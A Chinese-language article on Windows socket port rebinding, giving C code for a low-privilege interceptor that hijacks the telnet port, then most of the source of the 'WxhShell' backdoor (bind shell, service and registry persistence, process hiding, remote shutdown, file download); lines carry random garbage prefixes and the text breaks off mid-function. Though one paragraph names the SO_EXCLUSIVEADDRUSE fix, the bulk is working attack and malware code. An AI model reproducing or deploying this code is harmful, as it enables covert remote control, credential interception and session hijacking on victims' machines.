在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RLw/~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M.$=tuUL 925T#%y
saddr.sin_family = AF_INET;
5}]gL `]&'yt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DM,;W`|6% ~2NTXp
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tnXW7ej ^ tuo'Uk) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:K \IS ` zyK11 这意味着什么?意味着可以进行如下的攻击:
#)T'a A,#z_2~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vMXn#eR 2{ hG",JL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-|czhO)R F9IPA% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xnZ EL
*l5!Iu 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Nw1 .x *z'Rl'j9[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hz2f7g #\}xyPS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
dKPx3Y' q~\[P4m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p|r>tBv?x qm=9!jqC; #include
)qWO}]F #include
xLbF9ASim #include
+jGUp\h%9; #include
Vx n- DWORD WINAPI ClientThread(LPVOID lpParam);
1ww~!R int main()
MLmk=&d {
Y=UN`vRR WORD wVersionRequested;
X=k|SayE8 DWORD ret;
X*r?@uK5 WSADATA wsaData;
0M}Ql5+h, BOOL val;
i8/"|+Z SOCKADDR_IN saddr;
x}7Xd P.2$ SOCKADDR_IN scaddr;
0w$1Yx~C int err;
4Gh%PUV# SOCKET s;
u])MI6LF SOCKET sc;
m`,h nDp int caddsize;
xAf?E%_pi HANDLE mt;
Nu; 9 DWORD tid;
Z3 na .>Z wVersionRequested = MAKEWORD( 2, 2 );
erV&N,cI err = WSAStartup( wVersionRequested, &wsaData );
$O9#4A; if ( err != 0 ) {
M[Jy?b) printf("error!WSAStartup failed!\n");
i:^
8zW return -1;
*pGbcBQ }
Js,.$t saddr.sin_family = AF_INET;
`b5pa `\4 Ed"p|5~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G7HvA46 .!1E7\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oPA m* saddr.sin_port = htons(23);
s.!gsCQme if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V#-8[G6Ra {
4L2TsuLw printf("error!socket failed!\n");
a&`Lfw" return -1;
]u
>~: }
)}\J val = TRUE;
n6GB2<y //SO_REUSEADDR选项就是可以实现端口重绑定的
rdm&YM`J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,HW[l.v {
sCAWrbOe> printf("error!setsockopt failed!\n");
X4v0>c return -1;
bO gVCg }
0 !F!Y_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
R?kyJ4S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Qb1hk*$= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)G|'PXI@, H[iR8<rhQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j{NcDepLn {
%y\ ret=GetLastError();
gs= (h* printf("error!bind failed!\n");
,-Yl%R.W= return -1;
O ;B[ZMV }
}xy[&-dh listen(s,2);
4"%LgV`
while(1)
M[ ,:NE4H {
xR5zm%\ caddsize = sizeof(scaddr);
G+Zm //接受连接请求
?xCWg.#l4V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#6Fc-ysk: if(sc!=INVALID_SOCKET)
140_WV?7 {
c0:`+>p2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m3 Rss~l if(mt==NULL)
$[*<e~? {
DqBiBH[%h printf("Thread Creat Failed!\n");
mp>Ne6\Tu break;
CF@j]I@{
}
8}!WJ2[R }
hdH}4W CloseHandle(mt);
/.[78:G\, }
n ]P,5 closesocket(s);
]hi5nA WSACleanup();
WQYw@M~4Q! return 0;
JE/Kf< }
V3>JZH` DWORD WINAPI ClientThread(LPVOID lpParam)
>iI-Cs7TD {
kG3m1: : SOCKET ss = (SOCKET)lpParam;
rW0-XLbL5H SOCKET sc;
|jTRIMj%,_ unsigned char buf[4096];
`KmM*_a SOCKADDR_IN saddr;
~~3 BV, long num;
xEqr3( DWORD val;
:PDyc(s{ DWORD ret;
E(Y}*.\]#s //如果是隐藏端口应用的话,可以在此处加一些判断
xIa8Ac //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z(a,$__ saddr.sin_family = AF_INET;
qv$m5CJvK saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]F*fQNcjy saddr.sin_port = htons(23);
S/7?6y~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[I5}q& {
8~8VoU& printf("error!socket failed!\n");
#\$AB_[ot> return -1;
y^hCO:`l3 }
aqN6.t val = 100;
c R6:AGr if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0ZJt {
<GO 5}>}p8 ret = GetLastError();
^;a~_9
m- return -1;
2"!s8x1$ }
!juh}q&}| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]}0QrD {
4
oZm0
ret = GetLastError();
wj<fi return -1;
m>ApN@n }
vKmV<*K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%oHK=],|1 {
^K'@W printf("error!socket connect failed!\n");
yw+LT,AQ. closesocket(sc);
zM2_z closesocket(ss);
Q?]-/v return -1;
6h:2,h
pE }
%{;1i while(1)
7HM%Cd {
9B?-&t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{>n\B~*,"C //如果是嗅探内容的话,可以再此处进行内容分析和记录
b]k9c1x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
M.?[Xpa num = recv(ss,buf,4096,0);
~l"]J'jF"H if(num>0)
h0)Dj(C send(sc,buf,num,0);
R-J^%4U`7 else if(num==0)
6>&h9@ break;
#l#8-m8g) num = recv(sc,buf,4096,0);
?]PE!7H if(num>0)
?n(OH~@$i send(ss,buf,num,0);
%+HZ4M+hV else if(num==0)
$u
P'> break;
85Red~-M }
XsbYWJdds closesocket(ss);
=a^}]k} closesocket(sc);
:B
9> return 0 ;
p;n"zr8U }
Tqj:C8K{ G_/DzJBF (]N- HN]v ==========================================================
qPF`=# U;#9^<^ 下边附上一个代码,,WXhSHELL
@p ZjJ<9QM ZGj ^,? a ==========================================================
K26`wt x
?24oO #include "stdafx.h"
1U6z2i+y &hu>yH>j #include <stdio.h>
;{89 *e*) #include <string.h>
F_F02:t #include <windows.h>
jIi:tO9G^, #include <winsock2.h>
x7ZaI{ #include <winsvc.h>
B"?ivxM:U #include <urlmon.h>
p(Ux]_s% \45F;f_r6 #pragma comment (lib, "Ws2_32.lib")
???` BF[| #pragma comment (lib, "urlmon.lib")
+^|_vq^XR Lv
UQ&NmY #define MAX_USER 100 // 最大客户端连接数
T7~H|% #define BUF_SOCK 200 // sock buffer
?/|KM8 #define KEY_BUFF 255 // 输入 buffer
'8w>=9Xl a&RH_L jM #define REBOOT 0 // 重启
K*S3{s%UR #define SHUTDOWN 1 // 关机
D0^h;wJ=4+ /odDJxJ
k #define DEF_PORT 5000 // 监听端口
*WaqNMD[% WT63ve #define REG_LEN 16 // 注册表键长度
?"$Rw32 #define SVC_LEN 80 // NT服务名长度
V@rqC[on ^:~!@$*;6 // 从dll定义API
f9D01R fo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Dl@Jj?zc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`br$kB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z@,[a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#f<3[BLx S`8Iu[Ma // wxhshell配置信息
Z5|BwM struct WSCFG {
C?j:+ int ws_port; // 监听端口
@2g
<d char ws_passstr[REG_LEN]; // 口令
hjD%=Ri0Z int ws_autoins; // 安装标记, 1=yes 0=no
% 'OY char ws_regname[REG_LEN]; // 注册表键名
!|Wf
mU char ws_svcname[REG_LEN]; // 服务名
%2y5a`b char ws_svcdisp[SVC_LEN]; // 服务显示名
,49Z/P char ws_svcdesc[SVC_LEN]; // 服务描述信息
4-m6e$p; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%+^Qs\j int ws_downexe; // 下载执行标记, 1=yes 0=no
zf;sdQ;4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y'C1L4d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=M=v;
,I- lhC hk7l };
iD*L<9 `I.pwst8i- // default Wxhshell configuration
d}Q%I struct WSCFG wscfg={DEF_PORT,
l];/,J^ "xuhuanlingzhe",
R$X~d8o>% 1,
Ej8g/{ "Wxhshell",
_\na9T~g "Wxhshell",
F?^L^N^ "WxhShell Service",
$*|M+ofQ "Wrsky Windows CmdShell Service",
cj9C6Y! "Please Input Your Password: ",
m!5Edo-;< 1,
~7anj. "
http://www.wrsky.com/wxhshell.exe",
>x>/}` "Wxhshell.exe"
9dmoB_G };
1YK(oRSDn $,P:B%] // 消息定义模块
J$5Vjh'aM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=f!clhO char *msg_ws_prompt="\n\r? for help\n\r#>";
2VzYP~Jg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2+_a<5l~ char *msg_ws_ext="\n\rExit.";
,l Y4WO char *msg_ws_end="\n\rQuit.";
Xv3pKf-K char *msg_ws_boot="\n\rReboot...";
TJ1h[ char *msg_ws_poff="\n\rShutdown...";
PV:J>!] char *msg_ws_down="\n\rSave to ";
>n^780S| T*nP-b char *msg_ws_err="\n\rErr!";
A=3L_
#nO char *msg_ws_ok="\n\rOK!";
:bm%f%gg vA}_x7}n( char ExeFile[MAX_PATH];
4jt(tZS int nUser = 0;
mRa\ wEg% HANDLE handles[MAX_USER];
oKb"Ky@s int OsIsNt;
T+^c=[W c]zFZJ6M SERVICE_STATUS serviceStatus;
HItNd SERVICE_STATUS_HANDLE hServiceStatusHandle;
A,BYi$ v2_` iwE // 函数声明
J#t-."f6^ int Install(void);
tv26eK
38 int Uninstall(void);
,J8n}7aI int DownloadFile(char *sURL, SOCKET wsh);
T7%!JBg@ int Boot(int flag);
L$BV`JWPw void HideProc(void);
#*:^\z_Jd int GetOsVer(void);
$xWUzg1<U int Wxhshell(SOCKET wsl);
Qe{w)e0}` void TalkWithClient(void *cs);
`XpQR=IOMb int CmdShell(SOCKET sock);
z$WLx int StartFromService(void);
X8">DR&>Y int StartWxhshell(LPSTR lpCmdLine);
5'c#pm\Q 4Y$\QZO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5C&*PJ~WA VOID WINAPI NTServiceHandler( DWORD fdwControl );
4hODpIF SiUu**zC // 数据结构和表定义
yOt#6Vw SERVICE_TABLE_ENTRY DispatchTable[] =
Fn7OmxfD {
Qn,6s%n
{wscfg.ws_svcname, NTServiceMain},
_&/ {A|n {NULL, NULL}
a6-.|tt#t };
r0 )ne|&Hp 1Dl6T\20 // 自我安装
f:-l}Zj int Install(void)
Zskj?+1 {
-58q6yA char svExeFile[MAX_PATH];
9 @xl{S- HKEY key;
z}B39L strcpy(svExeFile,ExeFile);
Mx$&{.LFJ Xh>($ U // 如果是win9x系统,修改注册表设为自启动
|/vJ+aKq if(!OsIsNt) {
ykx^RmD`~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
marZA'u%B1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z Cjw)To( RegCloseKey(key);
U2A
82;Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L- !1ybB^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S
YDE`- RegCloseKey(key);
Q{RmE: return 0;
H=Ilum06 }
KVJ,
a }
(Xcy/QT }
fj))Hnt(| else {
i5t6$|u:&m f+Sb>$ // 如果是NT以上系统,安装为系统服务
-~|{q)!F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c#sHnpP if (schSCManager!=0)
r]UF<*$ {
V@!)Pw SC_HANDLE schService = CreateService
4uo`XJuQ (
[104;g < schSCManager,
a9z#l}IQ wscfg.ws_svcname,
m^G(qoZ] wscfg.ws_svcdisp,
P0jr>j@^- SERVICE_ALL_ACCESS,
yB2h/~+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p.SipQ.P SERVICE_AUTO_START,
Pps-,*m SERVICE_ERROR_NORMAL,
{@^;Nw%J svExeFile,
B+j]C$8} NULL,
<ZF|2 NULL,
r~lZ8$KC NULL,
P}Kgh7)3 NULL,
k(l2`I4V NULL
O,%,dtD[a );
w{6C4~0 if (schService!=0)
Wc[,kc {
a/,>fv9;$ CloseServiceHandle(schService);
akxNT_ CloseServiceHandle(schSCManager);
Y8\P"qb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/,I cs strcat(svExeFile,wscfg.ws_svcname);
.mt%8GM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|zYOCDFf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o)/Pr7Qn RegCloseKey(key);
4=xi)qF/@ return 0;
kkF)Tro\ }
]:59c{O }
^ RA'E@" CloseServiceHandle(schSCManager);
rNii,_ }
}OL"38P }
`t&{^ a&Y" |)29"_Kk5 return 1;
jC9us>b }
yZ|"qP1 .h7s.p? // 自我卸载
g[3LPKQ int Uninstall(void)
s|]g@czan {
DAB9-[y+ HKEY key;
[|DKBJ 8AuBs;i if(!OsIsNt) {
:oP LluW* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2}r=DAe0 RegDeleteValue(key,wscfg.ws_regname);
w +t@G`d RegCloseKey(key);
hfaU-IPcFX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)U?_&LY)[M RegDeleteValue(key,wscfg.ws_regname);
'4[=*!hs! RegCloseKey(key);
* x/!i^ return 0;
4Z( #;9f }
^dHQ<L3.* }
N1c=cZDV }
i2~uhGJ else {
f"QiVJq (+>
2&@@< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[1VA`:?W if (schSCManager!=0)
QPJ\Iu@D$ {
CubQ6@, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.$qa?$@ if (schService!=0)
h[ DNhR {
T{k
P9
4 if(DeleteService(schService)!=0) {
<v:VA!] CloseServiceHandle(schService);
z-5`6aE9< CloseServiceHandle(schSCManager);
tnRf!A;m return 0;
oJz2-PmX }
5i!Q55Yv=, CloseServiceHandle(schService);
3!"N;Q" }
)/H;5 cn CloseServiceHandle(schSCManager);
>='/%Ad }
Km`
SR^&\ }
Gk,Bx1y sgX!4wG&Z return 1;
2bp@m;g$ }
LL^KZ- lkn|>U[ // 从指定url下载文件
0bg"Q4 int DownloadFile(char *sURL, SOCKET wsh)
2$JGhgDI {
4G c
M HRESULT hr;
#z*,CU#S9d char seps[]= "/";
H_DCdUgC' char *token;
1 em,/>" char *file;
za>UE,?h char myURL[MAX_PATH];
t]yxLl\ char myFILE[MAX_PATH];
OXEk{#Uf[3 Z2% HQL2 strcpy(myURL,sURL);
z M9#1^X token=strtok(myURL,seps);
=)[m[@,c while(token!=NULL)
=q4}( {
rFRcK>X\L file=token;
Kc MzY token=strtok(NULL,seps);
9u B?-. }
:!`"GaTy e
w^(3& GetCurrentDirectory(MAX_PATH,myFILE);
Mt[yY|Ec| strcat(myFILE, "\\");
QU"WpkO strcat(myFILE, file);
-+#%]P8l send(wsh,myFILE,strlen(myFILE),0);
k ut=(; send(wsh,"...",3,0);
)dXa:h0RZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u6qK4*eAD if(hr==S_OK)
3nq?Y8yac return 0;
+)Z]<O else
$*yYmF return 1;
:QE5 7. K:PH:e }
TlqHj IGdiIhH~2 // 系统电源模块
^|]&"OaB
Z int Boot(int flag)
BQ@7^E[ {
XH%L] HANDLE hToken;
\iuR+I TOKEN_PRIVILEGES tkp;
lSj
gN~:z p8rh`7 if(OsIsNt) {
l& :EKh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
tcD7OC:"6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;FPx tkp.PrivilegeCount = 1;
Pf*6/7S: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b/SBQ"B% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jk AjYR . if(flag==REBOOT) {
zTz}H*U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`c`VIq?
return 0;
0Y.z }
Kl1v^3\{ else {
7+O)AU{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
) `u17
{ return 0;
KII{GDR] }
a:kAo0@":j }
D31X {dJ else {
VF%QM;I[Rc if(flag==REBOOT) {
!ifU}qFzK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
DeO-@4+qKd return 0;
FXQWT9Kk~_ }
P}bIp+ else {
LCF}Y{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j]u!;] return 0;
\Z-th,t }
y7Po$ )8l }
3uL
f0D >p_W(u@ z$ return 1;
Wn%P.`o# }
iHa?b2=) =u.@W98, K // win9x进程隐藏模块
XlmX3RU void HideProc(void)
~#-?V[ {
&5CRXf 5ut| eD`3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
L*@`i ]jl if ( hKernel != NULL )
3Cf9'C {
BI'>\hX/V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cc@W
6W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LC%ococ FreeLibrary(hKernel);
-IPo/?} }
<r%K i`u(p +;N]34>S7 return;
LGP"S5V }
r$7. &D,Iwq // 获取操作系统版本
d?,'$$ aB int GetOsVer(void)
xc^@" {
v 6 ~9)\!j OSVERSIONINFO winfo;
222 Y?3>@D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:4ryi&Y GetVersionEx(&winfo);
wk(25(1q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8-Abg:) return 1;
|/Nh# else
18&"j 8'm return 0;
/cjz=r1U> }
P/%7kD@5; 6h 0qtXn- // 客户端句柄模块
_`$Q6!Z)l int Wxhshell(SOCKET wsl)
A*JOp8\) {
/{T&l*' SOCKET wsh;
iaGA9l<b struct sockaddr_in client;
j=WxtMS DWORD myID;
coP->&(@U# u]^s2v while(nUser<MAX_USER)
qeZG/\, {
l:HQ@FX int nSize=sizeof(client);
.OPknC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,Qj G|P if(wsh==INVALID_SOCKET) return 1;
|IgR1kp+. Xp<q`w0I, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&@~K8*tmK if(handles[nUser]==0)
-amo8V;2H closesocket(wsh);
^y<^hKjV else
E`HoJhB nUser++;
&<&tdShI }
c_/BS n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-&+:7t Cbbdq%ySI return 0;
~i,d%a }
7?.uAiM'zT ak(s@@k // 关闭 socket
-(vHy/Hz. void CloseIt(SOCKET wsh)
)nUdU
= m {
_c5@)I~ closesocket(wsh);
[2:d@=%. nUser--;
ym;]3<I?I[ ExitThread(0);
l*CulVX }
g2OnLEF]s pPReo) // 客户端请求句柄
~q>jXi void TalkWithClient(void *cs)
:;$MUOps {
/[R=-s ; inu.U[. SOCKET wsh=(SOCKET)cs;
HQ-[k$d
W4 char pwd[SVC_LEN];
wL;OQhI char cmd[KEY_BUFF];
cVi_#9u" char chr[1];
*G"hjc$L int i,j;
X3:1KDVsV "~r<ZG while (nUser < MAX_USER) {
t]xz7VQ &3vm
@ if(wscfg.ws_passstr) {
> ,6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FZ*"^=)`G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
" ityx? //ZeroMemory(pwd,KEY_BUFF);
l\_!oa~ i=0;
?1Nz
,Lc$ while(i<SVC_LEN) {
B`SX3,3 <spG]Xa< // 设置超时
x[A|@\Z fd_set FdRead;
757&bH|a struct timeval TimeOut;
l)r\SE1 FD_ZERO(&FdRead);
.Xlo-gHk FD_SET(wsh,&FdRead);
|nMjv]# TimeOut.tv_sec=8;
01(U)F\ TimeOut.tv_usec=0;
[* xdILj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7F`\Gz_2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ar-Vu{` FPc`J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<IrhR,@M,L pwd
=chr[0]; Q%CrB>|@
if(chr[0]==0xd || chr[0]==0xa) { ^B"LT>.[
pwd=0; }T_"Vg q
break; W ?x~"-*
} fh#:j[R4e
i++; #JUh"8N'
} Tv%7=P;r
8)>>EN8 R
// 如果是非法用户,关闭 socket GcM1*)$ 4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :tWkK$
} &dB@n15'A
xM())Z|2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "rdpA[>L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FM]clC;X?
+|C@B`h
while(1) { O>E}Lu;|
[I;C6p
ZeroMemory(cmd,KEY_BUFF); U|wST&rU|
2j
f!o
// 自动支持客户端 telnet标准 <Zva
j=0; 6 ;'s9s"
while(j<KEY_BUFF) { 1 |z4]R,<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jHEP1rNHE
cmd[j]=chr[0]; `8ob Xb
if(chr[0]==0xa || chr[0]==0xd) { =Ti!9_~
cmd[j]=0; +S+!:IB
break;
II'.vp
} fhi}x(
j++; gX"
} 5Q"yn2b4
bI.hG32
// 下载文件 nw+t!C
if(strstr(cmd,"http://")) { Sr+hB>{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =1 Plu5
if(DownloadFile(cmd,wsh)) vhMoCLb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nscnG5'{+
else 5,xPB5pK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (
yLu=
} oVK?lQ~y
else { +*OAClt+]
z/#,L!Z3
switch(cmd[0]) { Le83[E*i
0 Rb3|te
// 帮助 5$i(f8*
case '?': { A":=-$)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YM#'+wl}`
break; Av.`'.b
} 1PVZGZxAgv
// 安装 'qV lq5.
case 'i': { G/
si( LK
if(Install()) p*K #s1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXJw)%G
w
else y/@Bhzc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &q&z$Gc;m
break; f (C:J[;Z
} @l3&vt2=J
// 卸载 }
e w{WD
case 'r': { ,`U>BBBLv
if(Uninstall()) lP=,|xFra
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a|TUH+|
else |keU+De
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~LI }
break; e!=7VEB
} w#2apaz
// 显示 wxhshell 所在路径 >'n[B
case 'p': { h0-.9ym
char svExeFile[MAX_PATH]; ;{8 X+H
strcpy(svExeFile,"\n\r"); XN-1`5:4I
strcat(svExeFile,ExeFile); ~M7X]
send(wsh,svExeFile,strlen(svExeFile),0); iwIn3R,
break; $Ptl&0MN%
} {pQ8/Af!
// 重启 C{U*{0}
case 'b': { '`tFZfT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ty[%:eG#
if(Boot(REBOOT)) Ud"_[JtGM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|'ETqP<+
else { A46dtFD{
closesocket(wsh); CUB;0J(
ExitThread(0); uf]wX(*<k
} #++:`Z
break; ;+DMv5A "
} 51%Rk,/o
// 关机 *s, bz.[
case 'd': { };rEN`L
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gWro])3
if(Boot(SHUTDOWN)) 8\nka5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :bo2H[U+
else { "z6p=B"?3
closesocket(wsh); D=LsoASVI
ExitThread(0); /0`Eux\
} nYC.zc*o x
break; Z$i?p;HnW
} n=f?Q=h\3
// 获取shell 0^L:`[W+
case 's': { |0^IX
CmdShell(wsh); ;"f9"
closesocket(wsh); &'neOf/~
ExitThread(0); f*V^HfiQb
break; p%Q{Rqc)
} io"NqR#"v
// 退出 XiV*d06{
case 'x': { J*ofa>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Za,o
CloseIt(wsh); 0(C[][a*u
break; (g dzgLHy
} I 8
?
// 离开 j!L7r'AV5
case 'q': { oGXcu?ft
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \7UeV:3Ojn
closesocket(wsh); q-1vtbn
WSACleanup(); ]}S9KP
exit(1); JFu.o8[Q
break; 3Zz_wr6
} sw$JY}Q8x
} MB5V$toC
} >!PM5%G
mE+=H]`.p
// 提示信息 A\"4[PXpQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XYV`[,^h&
} $v8T%'p+
} 3]NKAPY
]Gj%-5G
return; b;`MHEzw&q
} '[[IalQ?
Dir# [j
// shell模块句柄 t&yuo E
int CmdShell(SOCKET sock) /^i_tLgb
{ YY>&R'3[
STARTUPINFO si; 17:7w
ZeroMemory(&si,sizeof(si)); /w5c:BH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yp
hd'Pu"
PROCESS_INFORMATION ProcessInfo; q@mZ0D-
char cmdline[]="cmd"; @Us#c 7/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sw{rNzh%$
return 0; C:!&g~{cKi
} X#W6;?Z\
B|>eKI
// 自身启动模式 I]#x0 ?D
int StartFromService(void) IQ JFL
+f
{ GB*^?Ii
typedef struct kT^`j^Jr
{ qP/McH?
DWORD ExitStatus; Kk%
IN9
DWORD PebBaseAddress; Kk \,q?
